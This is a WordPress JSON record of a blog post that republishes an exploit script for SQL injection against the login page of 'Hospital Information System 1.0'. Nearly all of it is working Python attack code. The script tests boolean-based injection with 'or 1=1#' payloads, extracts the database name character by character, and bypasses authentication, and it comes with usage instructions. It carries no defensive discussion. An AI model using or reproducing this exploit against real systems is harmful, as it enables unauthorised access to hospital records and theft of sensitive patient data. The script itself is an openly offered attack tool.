{"id":28450,"date":"2022-07-26T20:18:16","date_gmt":"2022-07-26T16:18:16","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167803\/his10-sql.txt"},"modified":"2022-07-27T08:22:50","modified_gmt":"2022-07-27T03:52:50","slug":"hospital-information-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/hospital-information-system-1-0-sql-injection\/","title":{"rendered":"Hospital Information System 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Hospital Information System &#8211; SQL Injection via login page<br \/>\n# Date: 25\/07\/2022<br \/>\n# Exploit Author: saitamang<br \/>\n# Vendor Homepage: https:\/\/code-projects.org<br \/>\n# Software Link: https:\/\/download-media.code-projects.org\/2019\/11\/HOSPITAL_INFORMATION_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip<br \/>\n# Version: 1.0<br \/>\n# Tested on: Centos 7 apache2 + MySQL<\/p>\n<p dir=\"ltr\">import requests, string, sys, warnings, time, concurrent.futures<br \/>\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning<br \/>\nwarnings.simplefilter(&#8216;ignore&#8217;,InsecureRequestWarning)<\/p>\n<p dir=\"ltr\">dbname = &#8221;<\/p>\n<p dir=\"ltr\">req = requests.Session()<\/p>\n<p dir=\"ltr\">def login(ip,username,password):<br \/>\ntarget = &#8220;http:\/\/%s\/HIS\/includes\/users\/UsersController.php&#8221; %ip<\/p>\n<p dir=\"ltr\">data = {&#8216;type&#8217;:&#8217;login&#8217;,&#8217;username&#8217;:username,&#8217;password&#8217;:password}<br \/>\nresponse = req.post(target, data=data)<\/p>\n<p dir=\"ltr\">if &#8216;success&#8217; in response.text:<br \/>\nprint(&#8220;[$] Success Login with credentials &#8220;+username+&#8221;:&#8221;+password+&#8221;&#8221;)<br \/>\nelse:<br \/>\nprint(&#8220;[$] Failed Login with credentials &#8220;+username+&#8221;:&#8221;+password+&#8221;&#8221;)<\/p>\n<p dir=\"ltr\">def check_injection():<br \/>\n# library inj<br \/>\ntest_query0 = &#8220;&#8216;or 1=2#&#8221;<br \/>\ntest_query1 = &#8220;&#8216;or 1=1#&#8221;<\/p>\n<p dir=\"ltr\">target = &#8220;http:\/\/%s\/HIS\/includes\/users\/UsersController.php&#8221; %ip<\/p>\n<p dir=\"ltr\">result = &#8220;&#8221;<\/p>\n<p dir=\"ltr\">for i in range(2):<\/p>\n<p dir=\"ltr\">if i==0:<br \/>\ndata = {&#8216;type&#8217;:&#8217;login&#8217;,&#8217;username&#8217;:username,&#8217;password&#8217;:test_query0}<br \/>\nresponse = req.post(target, data=data)<br \/>\nif response.text==&#8221;success&#8221;:<br \/>\nresult = response.text<br \/>\nelse:<br \/>\npass<br \/>\nif i==1:<br \/>\ndata = {&#8216;type&#8217;:&#8217;login&#8217;, &#8216;username&#8217;:username,&#8217;password&#8217;:test_query1}<br \/>\nresponse = req.post(target, data=data)<br \/>\nif response.text==&#8221;success&#8221;:<br \/>\nresult = response.text<br \/>\nelse:<br \/>\npass<br \/>\nif result==&#8221;success&#8221;:<br \/>\nprint(&#8220;[##] SQLI Boolean-Based Present at password field :)&#8221;)<br \/>\nelse:<br \/>\nprint(&#8220;[##] No SQLI :)&#8221;)<\/p>\n<p dir=\"ltr\">def brute(dbname):<br \/>\ntarget = &#8220;http:\/\/%s\/HIS\/includes\/users\/UsersController.php&#8221; %ip<\/p>\n<p dir=\"ltr\">l=0<\/p>\n<p dir=\"ltr\">no = [int(a) for a in str(string.digits)]\n# checking length of dbname<br \/>\nfor i in no: # 0-9<\/p>\n<p dir=\"ltr\">payload = &#8220;&#8216;or 1=1 and length(database())='&#8221;+ str(i) +&#8221;&#8216;#&#8221;<br \/>\n#print(payload)<\/p>\n<p dir=\"ltr\">data = {&#8216;type&#8217;:&#8217;login&#8217;,&#8217;username&#8217;:username,&#8217;password&#8217;:payload}<br \/>\nresponse = req.post(target, data=data)<br \/>\nresult = response.text<\/p>\n<p dir=\"ltr\">if result==&#8221;success&#8221;:<br \/>\nprint(&#8220;[##] The correct length of DB name is &#8220;+str(i))<br \/>\nl=i<br \/>\nbreak<br \/>\nelse:<br \/>\nprint(&#8220;[##] The length of DB name &#8220;+str(i)+&#8221; is wrong&#8221;)<br \/>\npass<\/p>\n<p dir=\"ltr\">char = [char for char in string.ascii_lowercase]\ndbname = []\n<p dir=\"ltr\">for i in range(l):<br \/>\nfor j in char:<br \/>\npayload = &#8220;&#8216;or 1=1 and substring(database(),&#8221; + str(i+1) + &#8220;,1)='&#8221; + str(j) +&#8221;&#8216;#&#8221;<\/p>\n<p dir=\"ltr\">data = {&#8216;type&#8217;:&#8217;login&#8217;,&#8217;username&#8217;:username,&#8217;password&#8217;:payload}<br \/>\nresponse = req.post(target, data=data)<br \/>\nresult = response.text<\/p>\n<p dir=\"ltr\">if result==&#8221;success&#8221;:<br \/>\ndbname.append(j)<br \/>\nprint(&#8220;[+] The &#8221; + str(i+1) + &#8221; char of DB name is &#8220;+str(j))<br \/>\nbreak<br \/>\nelse:<br \/>\npass<\/p>\n<p dir=\"ltr\">dbname = &#8221;.join(dbname)<\/p>\n<p dir=\"ltr\">print(&#8220;[+] Database name retrieved &#8211;&gt; &#8220;+dbname)<br \/>\nprint(&#8220;[+] Bypass completed :)&#8221;)<br \/>\nprint(&#8220;[+] Bypass payload can be used is \\n&#8217;or 1=1#&#8221;)<\/p>\n<p dir=\"ltr\">password = &#8220;&#8216;or 1=1#&#8221;<br \/>\nprint(&#8220;\\nRetry to login with new payload in password field&#8221;)<br \/>\nlogin(ip,username,password)<\/p>\n<p dir=\"ltr\">if __name__ == &#8220;__main__&#8221;:<br \/>\nprint(&#8221; _____ _ __ &#8220;)<br \/>\nprint(&#8221; \/ ___\/____ _(_) \/_____ _____ ___ ____ _____ ____ _&#8221;)<br \/>\nprint(&#8221; \\__ \\\/ __ `\/ \/ __\/ __ `\/ __ `__ \\\/ __ `\/ __ \\\/ __ `\/&#8221;)<br \/>\nprint(&#8221; ___\/ \/ \/_\/ \/ \/ \/_\/ \/_\/ \/ \/ \/ \/ \/ \/ \/_\/ \/ \/ \/ \/ \/_\/ \/ &#8220;)<br \/>\nprint(&#8220;\/____\/\\__,_\/_\/\\__\/\\__,_\/_\/ \/_\/ \/_\/\\__,_\/_\/ \/_\/\\__, \/ &#8220;)<br \/>\nprint(&#8221; \/____\/ \\n\\n&#8221;)<\/p>\n<p dir=\"ltr\">try:<br \/>\nip = sys.argv[1].strip()<br \/>\nusername = sys.argv[2].strip()<br \/>\npassword = sys.argv[3].strip()<\/p>\n<p dir=\"ltr\">login(ip,username,password)<br \/>\ncheck_injection()<br \/>\nbrute(dbname)<\/p>\n<p dir=\"ltr\">except IndexError:<br \/>\nprint(&#8220;[-] Usage %s &lt;ip&gt; &lt;username&gt; &lt;password&gt;&#8221; % sys.argv[0])<br \/>\nprint(&#8220;[-] Example: %s 192.168.100.x admin admin123&#8221; % sys.argv[0])<br \/>\nsys.exit(-1)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Hospital Information System &#8211; SQL Injection via login page # Date: 25\/07\/2022 # Exploit Author: saitamang # Vendor Homepage: https:\/\/code-projects.org # Software Link: https:\/\/download-media.code-projects.org\/2019\/11\/HOSPITAL_INFORMATION_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip # Version: 1.0 # Tested on: Centos 7 apache2 + MySQL import requests, string, sys, warnings, time, concurrent.futures from requests.packages.urllib3.exceptions import InsecureRequestWarning warnings.simplefilter(&#8216;ignore&#8217;,InsecureRequestWarning) dbname = &#8221; req = &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28450","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28450","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28450"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28450\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28450"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28450"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28450"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}